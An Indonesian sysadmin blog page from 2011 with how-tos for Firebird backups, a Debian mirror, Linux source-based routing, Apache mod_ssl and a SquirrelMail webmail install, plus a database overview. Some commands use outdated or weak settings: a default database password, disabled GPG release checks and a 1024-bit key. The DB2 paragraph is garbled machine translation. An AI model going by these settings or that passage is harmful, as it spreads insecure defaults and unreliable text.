Total Tayangan Halaman

Kamis, 03 Februari 2011

backup and restore firebird

normal /standar backup:
gbak -v -t -user SYSDBA -password “masterkey” dbserver:/db/keuangan.fdb c:\backups\keuangan.fbk
Backup dengan log verbose:
gbak -v -t -user SYSDBA -password masterkey -y c:\backups\keuangan.log dbserver:/db/keuangan.fdb c:\backups\keuangan.fbk
normal /standar restore:
gbak -c -v -user SYSDBA -password masterkey c:\backups\keuangan.fbk dbserver:/db/keuangan2.fdb
Restore ke database yang sudah ada :
gbak -c -r -v -user SYSDBA -password masterkey c:\backups\keuangan.fbk dbserver:/db/keuangan.fdb
buat read-only database:
gbak -c -v -mode read_only -use_all_space -user SYSDBA -password masterkey c:\backups\keuangan.fbk c:\files\keuangandb.fdb

CAT5 – Straight – Cross

cat5
crossover

update mirror debian ke debian 4.0 a.k.a.etch

Sekarang udah waktunya mengupdate mirror debianku dari sarge ke etch.
langkah langkahnya seperti membuat mirror baru yaitu:
apt-get install debmirror gnupg
Lalu import signing key dari debian master nya untuk verifikasi GPG dari paket paket nya :
gpg –recv-keys 2D230C5F
lalu buat script sederhana. misal update-mirror.sh yang isinya :
#!/bin/sh
/usr/bin/debmirror \
–debug \
–verbose \
–progress \
–nosource \
–ignore-release-gpg \
–host=debian.indika.net.id \
–dist=etch –arch=i386 \
–method=rsync \
–root=:debian /mnt/backup/mirror/debian > /var/log/debmirror/debian-etch.log 2> /var/log/debmirror/debian-etch.err &

Dalam hal ini metode yang digunakan adalah rsync. dan arsitektur yang akan di mirror adalah i386.
Kemudian jalankan ./update-mirror.sh
Dan pantau log nya dengan cara :
tail /var/log/debmirror/debian-etch.log
Jangan lupa !. Anda butuh sekitar 9 GB untuk membuat mirror tersebut.

Minimalist load balancer

From lartc.org section 4.2.2
# ip route default nexthop via gw_1 nexthop via gw_2

Simple Source Based Routing

Kadang kadang anda memiliki lebih dari satu router atau dengan kata lain anda memiliki lebih dari satu provider internet, dan anda menginginkan sebuah subnet untuk lewat provider yang berbeda dengan subnet yang lain. Untuk itu anda membutuhkan sebuah Source Based Routing di dalam router utama.
Misalnya :
# /sbin/ip rule add from $IP table $TBL
# /sbin/ip route add default dev eth0 via $GW table $TBL

Dimana:
  • $IP adalah sebuah alamat IP yang harus menggunakan gateway berbeda dari default. Anda juga bisa menggunakan netmask misal : 10.9.8.0/24 berarti semua packet yang beraslal dari 10.9.8.x akan di arahkan ke gateway yang sudah di definisikan.
  • $GW adalah gateway yang didefinisikan berbeda dengan default gateway.
  • $TBL adalah sebuah nomer table bebas. Antara 1-249. Karena 250-255 di reserve. Jika anda lebih suka dengan nama dari pada angka antara 1 – 249 maka anda terlebih dahulu anda harus mengesetnya di /etc/iproute2/rt_tables.
Misalnya :
di /etc/iproute2/rt_tables
200 kpde
maka source based routingnya menjadi :
# /sbin/ip rule add from 10.9.8.0/24 table kpde
# /sbin/ip route add default dev eth0 via 202.10.10.10 table kpde

Untuk melihat tabel routing yang sudah dibuat :
# /sbin/ip route show table
atau :
# /sbin/ip route show 200
atau :
# /sbin/ip route show kpde
Setiap gateway non-default memerlukan nomer table yang berbeda.
Info lebih lanjut hubungi pihak yang berwenang atau tinggal :
#man ip

split file di linux pake rar

rar a -m0 -v1000m q quraan.tar.gz
a = append archieve
-v = volume per part nya, contoh diatas per file 1000 MB
q = nama file archive nya
output = q.part1.rar q.part2.rar q.part3.rar q.part4.rar
Cara menggabungka ya pake winrar di windows atau rar d q.partq.rar di linux.

Setting mod_ssl di apache di Debian Sarge

Install paket mod_ssl ala debian :)
apt-get install libapache-mod-ssl libapache-mod-ssl-doc
Aktifkan modul SSL nya dengan cara
apache-modconf apache enable mod_ssl
lalu di /etc/apache/httpd.conf isi dengan konfigurasi
<IfModule mod_ssl.c>
# These will make apache listen to port 443 in addition to the
# standard port 80. HTTPS requests use port 443.
Listen 80
Listen 443
# Some MIME-types for downloading Certificates and CRLs
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl .crl
# Semaphore:
# Configure the path to the mutual exclusion semaphore the
# SSL engine uses internally for inter-process synchronization.
SSLMutex file:/var/run/mod_ssl_mutex
# Inter-Process Session Cache:
# Configure the SSL Session Cache: First either `none’
# or `dbm:/path/to/file’ for the mechanism to use and
# second the expiring timeout (in seconds).
SSLSessionCache dbm:/var/run/mod_ssl_scache
SSLSessionCacheTimeout 300
SSLSessionCache none
# Pseudo Random Number Generator (PRNG):
# Configure one or more sources to seed the PRNG of the
# SSL library. The seed data should be of good random quality.
SSLRandomSeed startup file:/dev/urandom 512
SSLRandomSeed connect file:/dev/urandom 512
# Logging:
# The home of the dedicated SSL protocol logfile. Errors are
# additionally duplicated in the general error log file. Put
# this somewhere where it cannot be used for symlink attacks on
# a real server (i.e. somewhere where only root can write).
# Log levels are (ascending order: higher ones include lower ones):
# none, error, warn, info, trace, debug.
SSLLog /var/log/apache/ssl_engine.log
SSLLogLevel info
</IfModule>

Lalu buat sertifikat SSL nya
dengan langkah2 sbb:
Buat Private Key
$ openssl genrsa -des3 -rand file1:file2:file3:file4:file5 -out server.key 1024
file1,file2 dll merupakan nama file sembarang di linux anda yang digunakan untuk menggenerate bilangan acak.
Buat CSR (Certificate Signing Request)
$ openssl req -new -key server.key -out server.csr
maka akan menghasilkan serentetan pertanyaan yang harus anda jawab
Using configuration from /usr/local/ssl/openssl.cnf
Enter PEM pass phrase:Enter pass phrase here
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ‘.’, the field will be left blank.
—–
Country Name (2 letter code) [AU]:ID
State or Province Name (full name) [Some-State]:Jawa Timur
Locality Name (eg, city) []:Gresik
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MahaRadjaReza Corp.
Organizational Unit Name (eg, section) []:.MahaRadjaReza Corp.
Common Name (eg, YOUR name) []:www.muhadi.com
Email Address []:ronnie@muhadi.com
Please enter the following ‘extra’ attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Buat Self-Signed Certificate
$ openssl x509 -req -days 60 -in server.csr -signkey server.key -out server.crt
angka 60 menunjukkan masa berlaku certificate (60 hari )
Install Private Key dan Certificate
dengan cara membuat konfigurasi virtual host pada apache dengan contoh isi:
# SSL Virtual Hosts
<IfDefine SSL>
<VirtualHost _default_:443>
ServerAdmin ronnie@muhadi.com
DocumentRoot /usr/local/apache/share/htdocs
ServerName www.muhadi.com
ScriptAlias /cgi-bin/ /usr/local/apache/share/htdocs/cgi-bin/
SSLEngine on
SSLCertificateFile /usr/local/apache/etc/ssl.crt/server.crt
SSLCertificateKeyFile /usr/local/apache/etc/ssl.key/server.pem
SetEnvIf User-Agent “.*MSIE.*” nokeepalive ssl-unclean-shutdown
CustomLog /usr/local/apache/var/log/ssl_request_log \
“%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \”%r\” %b”
</VirtualHost>
</IfDefine>
lalu restart apache anda
jangan lupa cek lognya di
/usr/local/apache/var/log/ssl_request_log
/usr/local/apache/var/log/error.log
Jika tidak ada kata2 ajaib Error maka instalasi mod_ssl sukses.

SquirrelMail

Salah satu fitur dunia maya yang terkenal dan makin hari makin banyak penggunanya adalah email. Begitu banyaknya pengguna layanan yang satu ini, sampai² provider memberanikan diri memberikannya secara cuma². Sebut saja nama besar seperti Yahoo dan Google yang bersaing ketat memberikan layanan email gratis dengan ukuran kotak surat maksi.
Beberapa dari Anda mungkin mengawali dengan menggunakan jasa layanan mail gratisan, tapi jika kebetulan memiliki server sendiri yang dapat diakses secara global di internet, maka nda ada salahnya untuk memfungsikan server Anda sebagai email server. Setelah itu dilengkapi dengan antarmuka email berbasis situs yang biasa disebut webmail. Melalui artikel ini, saya akan coba sajikan panduan instalasi email server serta SquirrelMail sebagai aplikasi webmail-nya. Jika berminat untuk mencoba, silakan simak lebih lanjut di bawah ini.

Analisa

Sebelum melangkah ke webmail, terlebih dahulu sebuah server harus difungsikan sebagai email server agar dapat mengirimkan serta menerima email. Karena nantinya pengaksesan email akan dilakukan via situs, tentunya server juga harus difungsikan sebagai web server dan translasi IP address dengan DNS server. Diasumsikan server Anda telah terintegrasi web dan DNS server yang berfungsi dengan baik, jadi bahasan ini dimulai dari email server.
Adapun untuk kebutuhan uji coba ini saya menggunakan sistem operasi Linux CentOS 5.5 64 Bit. Sedangkan untuk email server saya mempercayakan kombinasi Exim dan Dovecot sebagai pelayanan fitur email SMTP, POP3 dan IMAP.

Instalasi Email Server

Salah satu keunggulan CentOS adalah kemudahan instalasi aplikasi menggunakan penginstal Yum. Untuk itu, silakan kunjungi konsol server Anda dan ikuti beberapa langkah di bawah ini untuk instalasinya.
  1. Masuklah ke direktori kerja Anda, lalu periksa ketersediaan Exim dan Dovecot di repository yang aktif di server Anda.
    [root@jangkrik xyz]# yum list available | grep exim
    [root@jangkrik xyz]# yum list available | grep dovecot
  2. Kedua periksan di atas akan menampilkan beberapa nama aplikasi yang mengandung kata kunci exim dan dovecot. Anda bisa saja memilih dan menginstal aplikasi yang dibutuhkan, atau untuk mudahnya langsung instal saja.
    [root@jangkrik xyz]# yum -y install exim
    [root@jangkrik xyz]# yum -y install dovecot
  3. Selesai dengan instalasi di atas, berikutnya Anda sudah bisa mengaktifkan kedua daemon-nya agar layanan mail siap digunakan.
    [root@jangkrik xyz]# service exim start
    Starting exim:                                             [  OK  ]
    [root@jangkrik xyz]# service dovecot start
    Starting Dovecot Imap:                                 [  OK  ]
    [root@jangkrik xyz]#
Catatan : Agar kedua daemon tersebut diaktifkan secara otomatis, sematkanlah di /etc/rc.local.

Instalasi SquirrelMail

Tiba waktunya untuk mengintegrasikan SquirrelMail di sistem Anda. Agar lebih mudah memahami panduan kali ini, maka SquirrelMail akan disimpan di dalam direktori situs. Untuk itu, silakan beranjak ke /var/www/html atau sembarang lokasi lain dimana DocumentRoot situs Anda berada.
  1. Unduh SquirrelMail ke sistem Anda menggunakan wget yang rilis terbarunya tersedia di URL http://squirrelmail.org/download.php.
    [root@jangkrik html]# wget -c http://squirrelmail.org/countdl.php?fileurl=http%3A%2F%2Fprdownloads.sourceforge.net%2Fsquirrelmail%2Fsquirrelmail-1.4.21.zip
    --2010-11-26 22:50:48--  http://squirrelmail.org/countdl.php?fileurl=http%3A%2F%2Fprdownloads.sourceforge.net%2Fsquirrelmail%2Fsquirrelmail-1.4.21.zip
    Resolving squirrelmail.org... 82.94.230.148
    Connecting to squirrelmail.org|82.94.230.148|:80... connected.
    HTTP request sent, awaiting response... 302 Found
    Location: http://prdownloads.sourceforge.net/squirrelmail/squirrelmail-1.4.21.zip [following]
    --2010-11-26 22:50:49--  http://prdownloads.sourceforge.net/squirrelmail/squirrelmail-1.4.21.zip
    Resolving prdownloads.sourceforge.net... 216.34.181.59
    Connecting to prdownloads.sourceforge.net|216.34.181.59|:80... connected.
    HTTP request sent, awaiting response... 301 Moved Permanently
    Location: http://downloads.sourceforge.net/project/squirrelmail/stable/1.4.21/squirrelmail-1.4.21.zip [following]
    --2010-11-26 22:50:50--  http://downloads.sourceforge.net/project/squirrelmail/stable/1.4.21/squirrelmail-1.4.21.zip
    Resolving downloads.sourceforge.net... 216.34.181.59
    Reusing existing connection to prdownloads.sourceforge.net:80.
    HTTP request sent, awaiting response... 302 Found
    Location: http://voxel.dl.sourceforge.net/project/squirrelmail/stable/1.4.21/squirrelmail-1.4.21.zip [following]
    --2010-11-26 22:50:50--  http://voxel.dl.sourceforge.net/project/squirrelmail/stable/1.4.21/squirrelmail-1.4.21.zip
    Resolving voxel.dl.sourceforge.net... 208.122.62.226
    Connecting to voxel.dl.sourceforge.net|208.122.62.226|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 963064 (940K) [application/zip]
    Saving to: `squirrelmail-1.4.21.zip'
    
    100%[================================================================================================================>] 963,064      955K/s   in 1.0s
    
    2010-11-26 22:50:52 (955 KB/s) - `squirrelmail-1.4.21.zip' saved [963064/963064]
    
    [root@jangkrik html]#
    [*]Bongkar kompresinya, ubah nama direktori hasil ekstraksinya menjadi mail dan masuk ke dalamnya.
    [code]
    [root@jangkrik html]# unzip squirrelmail-1.4.21.zip
    [root@jangkrik html]# mv squirrelmail-1.4.21 mail
    [root@jangkrik html]# cd mail
  2. Picu halaman konfigurasi SquirrelMail.
    [root@jangkrik mail]# ./configure
    
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Main Menu --
    1.  Organization Preferences
    2.  Server Settings
    3.  Folder Defaults
    4.  General Options
    5.  Themes
    6.  Address Books
    7.  Message of the Day (MOTD)
    8.  Plugins
    9.  Database
    10. Languages
    
    D.  Set pre-defined settings for specific IMAP servers
    
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >>

Konfigurasi Informasi Organisasi SquirrelMail

  1. Dari menu utama konfigurasi SquirrelMail, tekanlah tombol [1] diikuti tombol [Enter] di kibor untuk modifikasi informasi organisasi.
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Organization Preferences
    1.  Organization Name      : SquirrelMail
    2.  Organization Logo      : ../images/sm_logo.png
    3.  Org. Logo Width/Height : (308/111)
    4.  Organization Title     : SquirrelMail $version
    5.  Signout Page           :
    6.  Top Frame              : _top
    7.  Provider link          : http://squirrelmail.org/
    8.  Provider name          : SquirrelMail
    
    R   Return to Main Menu
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >> 1
  2. Pilihlah opsi [1] untuk mengubah informasi organisasi.
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Organization Preferences
    1.  Organization Name      : SquirrelMail
    2.  Organization Logo      : ../images/sm_logo.png
    3.  Org. Logo Width/Height : (308/111)
    4.  Organization Title     : SquirrelMail $version
    5.  Signout Page           :
    6.  Top Frame              : _top
    7.  Provider link          : http://squirrelmail.org/
    8.  Provider name          : SquirrelMail
    
    R   Return to Main Menu
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >> 1
    
    We have tried to make the name SquirrelMail as transparent as
    possible.  If you set up an organization name, most places where
    SquirrelMail would take credit will be credited to your organization.
    
    If your Organization Name includes a '$', please precede it with a .
    Other '$' will be considered the beginning of a variable that
    must be defined before the $org_name is printed.
    $version, for example, is included by default, and will print the
    string representing the current SquirrelMail version.
    
    [SquirrelMail]: morat-marit enterprise
  3. Dengan cara serupa, pilihlah opsi [4] untuk mengubah informasi yang nantinya muncul di halaman login webmail.
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Organization Preferences
    1.  Organization Name      : morat-marit enterprise
    2.  Organization Logo      : ../images/sm_logo.png
    3.  Org. Logo Width/Height : (308/111)
    4.  Organization Title     : SquirrelMail $version
    5.  Signout Page           :
    6.  Top Frame              : _top
    7.  Provider link          : http://squirrelmail.org/
    8.  Provider name          : SquirrelMail
    
    R   Return to Main Menu
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >> 4
    
    A title is what is displayed at the top of the browser window in
    the titlebar.  Usually this will end up looking something like:
    "Netscape: SquirrelMail $version"
    
    If your Organization Title includes a '$', please precede it with a .
    Other '$' will be considered the beginning of a variable that
    must be defined before the $org_title is printed.
    $version, for example, is included by default, and will print the
    string representing the current SquirrelMail version.
    
    [SquirrelMail $version]: ditMail $version
  4. Opsi [2] dan [3] untuk modifikasi logo dan menentukan dimensi file gambarnya yang nanti akan muncul di halaman login webmail. Jika dibutuhkan, silakan ubah opsi² lainnya sesuai dengan kebutuhan Anda.
  5. Selesai dengan konfigurasi, tekanlah tombol [s] diikuti tombol [Enter] untuk menyimpan modifikasi yang telah dilakukan. Setelah itu tekan tombol [r] diikuti [Enter] untuk kembali ke menu utama konfigurasi SquirrelMail dan melakukan modifikasi lainnya.
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Organization Preferences
    1.  Organization Name      : morat-marit enterprise
    2.  Organization Logo      : ../images/sm_logo.png
    3.  Org. Logo Width/Height : (308/111)
    4.  Organization Title     : ditMail $version
    5.  Signout Page           :
    6.  Top Frame              : _top
    7.  Provider link          : http://squirrelmail.org/
    8.  Provider name          : SquirrelMail
    
    R   Return to Main Menu
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >> s
    
    Data saved in config.php
    Press enter to continue...

Konfigurasi Server SquirrelMail

  1. Pilihlah opsi [2] untuk mengubah konfigurasi server.
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Server Settings
    
    General
    -------
    1.  Domain                 : example.com
    2.  Invert Time            : false
    3.  Sendmail or SMTP       : SMTP
    
    A.  Update IMAP Settings   : localhost:143 (other)
    B.  Update SMTP Settings   : localhost:25
    
    R   Return to Main Menu
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >> 
  2. Pilih opsi [1] untuk mengisikan nama domain Anda.
    SquirrelMail Configuration : Read: config_default.php (1.4.0)
    ---------------------------------------------------------
    Server Settings
    
    General
    -------
    1.  Domain                 : example.com
    2.  Invert Time            : false
    3.  Sendmail or SMTP       : SMTP
    
    A.  Update IMAP Settings   : localhost:143 (other)
    B.  Update SMTP Settings   : localhost:25
    
    R   Return to Main Menu
    C   Turn color on
    S   Save data
    Q   Quit
    
    Command >> 1
    
    The domain name is the suffix at the end of all email addresses.  If
    for example, your email address is jdoe@example.com, then your domain
    would be example.com.
    
    [example.com]: dit.web.id
  3. Selesai dengan konfigurasi, tekanlah tombol [s] diikuti tombol [Enter] untuk menyimpan modifikasi yang telah dilakukan. Setelah itu tekan tombol [r] diikuti [Enter] untuk kembali ke menu utama konfigurasi SquirrelMail dan melakukan modifikasi lainnya.

Konfigurasi Server IMAP SquirrelMail

  1. Pilihlah opsi [d] untuk menentukan server IMAP yang digunakan.
    SquirrelMail Configuration : Read: config_default.php
    ---------------------------------------------------------
    While we have been building SquirrelMail, we have discovered some
    preferences that work better with some servers that don't work so
    well with others.  If you select your IMAP server, this option will
    set some pre-defined settings for that server.
    
    Please note that you will still need to go through and make sure
    everything is correct.  This does not change everything.  There are
    only a few settings that this will change.
    
    Please select your IMAP server:
        bincimap    = Binc IMAP server
        courier     = Courier IMAP server
        cyrus       = Cyrus IMAP server
        dovecot     = Dovecot Secure IMAP server
        exchange    = Microsoft Exchange IMAP server
        hmailserver = hMailServer
        macosx      = Mac OS X Mailserver
        mercury32   = Mercury/32
        uw          = University of Washington's IMAP server
        gmail       = IMAP access to Google mail (Gmail) accounts
    
        quit        = Do not change anything
    Command >>
  2. Sesuai dengan contoh kasus kali ini, pilihlah Dovecot sebagai server IMAP dengan cara mengetikkan dovecot diikuti tombol [Enter].
    SquirrelMail Configuration : Read: config_default.php
    ---------------------------------------------------------
    While we have been building SquirrelMail, we have discovered some
    preferences that work better with some servers that don't work so
    well with others.  If you select your IMAP server, this option will
    set some pre-defined settings for that server.
    
    Please note that you will still need to go through and make sure
    everything is correct.  This does not change everything.  There are
    only a few settings that this will change.
    
    Please select your IMAP server:
        bincimap    = Binc IMAP server
        courier     = Courier IMAP server
        cyrus       = Cyrus IMAP server
        dovecot     = Dovecot Secure IMAP server
        exchange    = Microsoft Exchange IMAP server
        hmailserver = hMailServer
        macosx      = Mac OS X Mailserver
        mercury32   = Mercury/32
        uw          = University of Washington's IMAP server
        gmail       = IMAP access to Google mail (Gmail) accounts
    
        quit        = Do not change anything
    Command >> dovecot
    
                  imap_server_type = dovecot
             default_folder_prefix = <none>
                      trash_folder = Trash
                       sent_folder = Sent
                      draft_folder = Drafts
                show_prefix_option = false
              default_sub_of_inbox = false
    show_contain_subfolders_option = false
                optional_delimiter = detect
                     delete_folder = false
    
    Press any key to continue...
  3. Tekan sembarang tombol setelahnya untuk kembali ke menu utama konfigurasi SquirrelMail.

Menyimpan, Menyudahi & Menguji Konfigurasi SquirrelMail

Selesai dengan semua konfigurasi dasar di atas, tekanlah kembali tombol [s] diikuti [Enter] untuk menyimpan semua modifikasi ke dalam file konfigurasi SquirrelMail.
SquirrelMail Configuration : Read: config_default.php (1.4.0)
---------------------------------------------------------
Main Menu --
1.  Organization Preferences
2.  Server Settings
3.  Folder Defaults
4.  General Options
5.  Themes
6.  Address Books
7.  Message of the Day (MOTD)
8.  Plugins
9.  Database
10. Languages

D.  Set pre-defined settings for specific IMAP servers

C   Turn color on
S   Save data
Q   Quit

Command >> s

Data saved in config.php
Press enter to continue...
Tekan tombol [q] untuk menyudahi dan keluar dari menu konfigurasi SquirrelMail.
SquirrelMail Configuration : Read: config_default.php (1.4.0)
---------------------------------------------------------
Main Menu --
1.  Organization Preferences
2.  Server Settings
3.  Folder Defaults
4.  General Options
5.  Themes
6.  Address Books
7.  Message of the Day (MOTD)
8.  Plugins
9.  Database
10. Languages

D.  Set pre-defined settings for specific IMAP servers

C   Turn color on
S   Save data
Q   Quit

Command >> q

Exiting conf.pl.
You might want to test your configuration by browsing to
http://your-squirrelmail-location/src/configtest.php
Happy SquirrelMailing!

[root@jangkrik mail]#
Ujilah modifikasi konfigurasi yang telah dilakukan melalui sembarang browser kegemaran Anda. Akseslah format URL http://domain.apa/mail/src/configtest.php agar halaman penguji SquirrelMail ditampilkan. Pastikan tidak ada konfigurasi yang salah yang contohnya seperti di bawah ini.
SquirrelMail configtest

This script will try to check some aspects of your SquirrelMail configuration and point you to errors whereever it can find them. You need to go run conf.pl in the config/ directory first before you run this script.

SquirrelMail version: 1.4.21
Config file version: 1.4.0
Config file last modified: 26 November 2010 09:14:11
Checking PHP configuration...
    PHP version 5.2.10 OK.
    Running as apache(48) / apache(48)
    display_errors:
    error_reporting: 6143
    variables_order OK: EGPCS.
    PHP extensions OK. Dynamic loading is enabled.
Checking paths...
    Data dir OK.
    Attachment dir OK.
    Plugins are not enabled in config.
    Themes OK.
    Default language OK.
    Base URL detected as: http://dit.web.id/mail/src (location base autodetected)
Checking outgoing mail service....
    SMTP server OK (220 jangkrik.dit.web.id ESMTP Sendmail 8.13.8/8.13.8; Fri, 26 Nov 2010 23:37:30 +0300)
Checking IMAP service....
    IMAP server ready (* OK Dovecot ready.)
    Capabilities: * CAPABILITY IMAP4rev1 SASL-IR SORT THREAD=REFERENCES MULTIAPPEND UNSELECT LITERAL+ IDLE CHILDREN NAMESPACE LOGIN-REFERRALS STARTTLS AUTH=PLAIN
Checking internationalization (i18n) settings...
     gettext - Gettext functions are available. On some systems you must have appropriate system locales compiled.
     mbstring - Mbstring functions are available.
     recode - Recode functions are unavailable.
     iconv - Iconv functions are available.
     timezone - Webmail users can change their time zone settings.
Checking database functions...
    not using database functionality.

Congratulations, your SquirrelMail setup looks fine to me!

Login now

Pembuatan Akun Email

Setelah menempuh semua tahapan di atas, kini tiba waktunya untuk membuat akun email percobaan yang nantinya digunakan untuk login di webmail.
  1. Masih dari konsol server, buatlah sembarang user. Sebagai contoh, nama akun yang dibuat adalah surat.
    [root@jangkrik mail]# useradd surat
  2. Tentukan juga kata sandi untuk user surat.
    [root@jangkrik mail]# passwd surat
    Changing password for user surat.
    New UNIX password:
    BAD PASSWORD: it is based on a dictionary word
    Retype new UNIX password:
    passwd: all authentication tokens updated successfully.
    [root@jangkrik mail]# 
  3. Pembuatan akun email percobaan sudah selesai dan akun tersebut siap dipakai di webmail.

Pengaksesan Akun Email Di Webmail

Sampailah ditahap pamungkas bahasan kali ini, yaitu menuai hasilnya :d Beranjaklah ke browser kesayangan Anda, lalu akses format URL http://domain.apa/mail agar halaman validasi akun webmail ditampilkan. Tidak berselang lama, Anda akan disuguhkan antarmuka webmail standar ala SquirrelMail. Lakukan validasi akunnya dengan cara mengisikan surat sebagai username diikuti kata sandi yang telah ditentukan sebelumnya.
Semua fitur email sudah tersedia dan siap dipakai. Kliklah [Compose] untuk pembuatan dan pengiriman email baru. Opsi [Check mail] digunakan untuk memperbaharui tampilan webmail dan menampilkan informasi jika ada email baru yang masuk ke kotak surat Anda. Gunakan opsi lainnya layaknya Anda menggunakan layanan mail gratisan yang selama ini dipakai. Untuk menyudahi penggunaan webmail, kliklah opsi [Sign Out] di pojok kanan-atas.
Galeri
login.png webmail.png


Outro

Sudah cukup lama saya menggandeng SquirrelMail sebagai aplikasi terpilih untuk urusan webmail. Disamping lisensi gratis, aplikasi ini juga menyediakan berbagai macam asupan yang juga dengan mudah dapat diintegrasikan. Akseslah URL http://squirrelmail.org/plugins.php untuk melihat serta mengunduh sembarang asupan yang diinginkan agar webmail Anda makin kaya fitur.
Nah, setelah membaca, mempelajari dan menerapkan artikel kali ini tentunya sekarang Anda dapat memahami instalasi webmail serta berbagai konfigurasi yang dibutuhkan. Ternyata nda susah² amat kan setelah mencobanya langsung? ;) Sekarang server Anda lebih diperkaya lagi dengan layanan email yang dapat diakses kapanpun dan dimanapun m

Rabu, 19 Januari 2011

DATABASE

Microsoft SQL Server adalah sebuah sistem manajemen basis data relasional (RDBMS) produk Microsoft. Bahasa kueri utamanya adalah Transact-SQL yang merupakan implementasi dari SQL standar ANSI/ISO yang digunakan oleh Microsoft dan Sybase. Umumnya SQL Server digunakan di dunia bisnis yang memiliki basis data berskala kecil sampai dengan menengah, tetapi kemudian berkembang dengan digunakannya SQL Server pada basis data besar.
Microsoft SQL Server dan Sybase/ASE dapat berkomunikasi lewat jaringan dengan menggunakan protokol TDS (Tabular Data Stream). Selain dari itu, Microsoft SQL Server juga mendukung ODBC (Open Database Connectivity), dan mempunyai driver JDBC untuk bahasa pemrograman Java. Fitur yang lain dari SQL Server ini adalah kemampuannya untuk membuat basis data mirroring dan clustering. Pada versi sebelumnya, MS SQL Server 2000 terserang oleh cacing komputer SQL Slammer yang mengakibatkan kelambatan akses Internet pada tanggal 25 Januari 2003.
MySQL adalah sebuah perangkat lunak sistem manajemen basis data SQL (bahasa Inggris: database management system) atau DBMS yang multithread, multi-user, dengan sekitar 6 juta instalasi di seluruh dunia. MySQL AB membuat MySQL tersedia sebagai perangkat lunak gratis dibawah lisensi GNU General Public License (GPL), tetapi mereka juga menjual dibawah lisensi komersial untuk kasus-kasus dimana penggunaannya tidak cocok dengan penggunaan GPL.
PostgreSQL adalah sebuah sistem basis data yang disebarluaskan secara bebas menurut Perjanjian lisensi BSD. Piranti lunak ini merupakan salah satu basis data yang paling banyak digunakan saat ini, selain MySQL dan Oracle. PostgreSQL menyediakan fitur yang berguna untuk replikasi basis data. Fitur-fitur yang disediakan PostgreSQL antara lain DB Mirror, PGPool, Slony, PGCluster, dan lain-lain.
DB2 adalah salah satu keluarga sistem manajemen database relasional (RDBMS) produk-produk perangkat lunak yang lebih luas dalam IBM Information Management Software baris. Although there are different "editions" and "versions" of DB2, which run on devices ranging from handhelds to mainframes , most often DB2 refers to the DB2 Enterprise Server Edition, which runs on Unix ( AIX ), Windows , Linux and z/OS servers. Meskipun terdapat berbagai "edisi" dan "versi" dari DB2, yang berjalan pada perangkat mulai dari handheld ke mainframe, DB2 paling sering merujuk pada DB2 Enterprise Server Edition, yang berjalan pada Unix (AIX), Windows, Linux dan z / OS server. DB2 also powers the different IBM InfoSphere Warehouse editions. DB2 juga kekuatan yang berbeda Gudang InfoSphere IBM edisi. Alongside DB2 is another RDBMS : Informix , which was acquired by IBM in 2001. Samping lain DB2 RDBMS: Informix, yang diakuisisi oleh IBM pada tahun 2001.
Microsoft Access (atau Microsoft Office Access) adalah sebuah program aplikasi basis data komputer relasional yang ditujukan untuk kalangan rumahan dan perusahaan kecil hingga menengah. Aplikasi ini merupakan anggota dari beberapa aplikasi Microsoft Office, selain tentunya Microsoft Word, Microsoft Excel, dan Microsoft PowerPoint. Aplikasi ini menggunakan mesin basis data Microsoft Jet Database Engine, dan juga menggunakan tampilan grafis yang intuitif sehingga memudahkan pengguna. Versi terakhir adalah Microsoft Office Access 2007 yang termasuk ke dalam Microsoft Office System 2007.
Microsoft Access dapat menggunakan data yang disimpan di dalam format Microsoft Access, Microsoft Jet Database Engine, Microsoft SQL Server, Oracle Database, atau semua kontainer basis data yang mendukung standar ODBC. Para pengguna/programmer yang mahir dapat menggunakannya untuk mengembangkan perangkat lunak aplikasi yang kompleks, sementara para programmer yang kurang mahir dapat menggunakannya untuk mengembangkan perangkat lunak aplikasi yang sederhana. Access juga mendukung teknik-teknik pemrograman berorientasi objek, tetapi tidak dapat digolongkan ke dalam perangkat bantu pemrograman berorientasi objek.
Basis data Oracle adalah basis data relasional yang terdiri dari kumpulan data dalam suatu sistem manajemen basis data RDBMS. Perusahaan perangkat lunak Oracle memasarkan jenis basis data ini untuk bermacam-macam aplikasi yang bisa berjalan pada banyak jenis dan merk perangkat keras komputer (platform).
Oracle merupakan DBMS yang paling rumit dan paling mahal di dunia, namun banyak orang memiliki kesan yang negatif terhadap Oracle. Keluhan-keluhan yang mereka lontarkan mengenai Oracle antara lain adalah terlalu sulit untuk digunakan, terlalu lambat, terlalu mahal, dan bahkan Oracle dijuluki dengan istilah “ora kelar-kelar” yang berarti “tidak selesai-selesai” dalam bahasa Jawa. Jika dibandingkan dengan MySQL yang bersifat gratis, maka Oracle lebih terlihat tidak kompetitif karena berjalan lebih lambat daripada MySQL meskipun harganya sangat mahal.
Penggunaan Microsoft AccessMicrosoft Access digunakan kebanyakan oleh kalangan pembisnis kecil dan menengah. Selain itu Microsoft Access juga digunakan oleh para programmer untuk membuat sebuah sistem buatan sendiri untuk menangani pembuatan dan manipulasi data.
Microsoft Access juga dapat digunakan sebagai basis data untuk aplikasi web.

Berikut bebrapa kelebihan dan kelemahan menggunakan Microsoft Access:
KelebihanBeberapa pengembang aplikasi professional menggunakan Microsoft Access untuk mengembangkan aplikasi secara cepat atau yang sering disebut dengan Rapid Application Development / RAD Tool khususnya untuk pembuatan program yang lebih besar dan aplikasi yang berdiri sendiri untuk para salesman.
